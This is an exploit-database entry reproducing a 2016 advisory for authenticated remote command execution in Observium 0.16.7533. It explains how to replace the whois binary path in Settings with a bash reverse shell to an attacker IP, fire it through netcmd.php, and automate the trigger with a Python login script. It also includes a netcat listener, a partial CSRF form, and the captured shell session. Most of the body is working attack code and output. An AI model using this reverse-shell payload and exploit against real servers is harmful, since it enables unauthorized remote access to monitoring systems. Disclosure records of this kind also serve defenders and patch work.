发布 2016-04-29 漏洞条目

Observium 0.16.7533 – (Authenticated) Arbitrary Command Execution

Exploit Source

# Exploit title: Observium Commercial - Authenticated RCE

# Author: Dolev Farhi

# Contact: dolevf at protonmail.com

# Date: 28-04-2016

# Vendor homepage: http://observium.org/

# Software version: CE 0.16.7533

Authenticated remote code execution

Using either CSRF or by editing the whois binary field in the Observium webui under Settings-> System Path, an attacker may also change the Path to either [whois, mtr, nmap] to any bash command, and by hitting the url: http://<ObserviumIP>/netcmd.php?cmd=whois&query=8.8.8.8

using any user on Observium (even low privileged) we can trigger a code execution. for example. setting up a listener

root@pt:~# nc -lvp 4444

listening on [any] 4444 ...

and a CSRF which looks like this:

<!--

<html>

<pre>

<body>

<form

action="http://<observiumIP>/settings/section=paths/"

method="POST">

</form>

</body>

</div>

</html>

or by changing the field of Path to 'whois' binary to 'bash -i >& /dev/tcp/attackerip/4444 0>&1; exit' and then visiting http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8, we trigger the code that is defined in the

whois parameter which gives us a reverse shell on the machine:

you may also use the following python instead:

"""

import sys

import urllib

import urllib2

import cookielib

#!/usr/bin/python

username = 'test'

password = '123456'

timeout = 10

try:

cj = cookielib.CookieJar()

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

login_data = urllib.urlencode({'username' : username, 'password' : password, 'submit' : ''})

opener.open('http://observium-server', login_data, timeout=timeout)

url = 'http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8'

resp = opener.open(url)

except Exception, e:

print e

sys.exit(1)

"""

listening on [any] 4444 ...

192.168.2.155: inverse host lookup failed: Unknown host

connect to [192.168.2.222] from (UNKNOWN) [192.168.2.155] 52413

bash: no job control in this shell

bash: /root/.bashrc: Permission denied

bash-4.1$ ls -l /opt

ls -l /opt

total 48944

drwxrwxr-x 12 1000 1000 4096 Apr 27 13:47 observium

-rw-r--r-- 1 root root 50107191 Jan 27 07:35 observium-community-latest.tar.gz

drwxr-xr-x. 2 root root 4096 Mar 26 2015 rh

作者: Dolev Farhi
日期: 2016-04-29
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection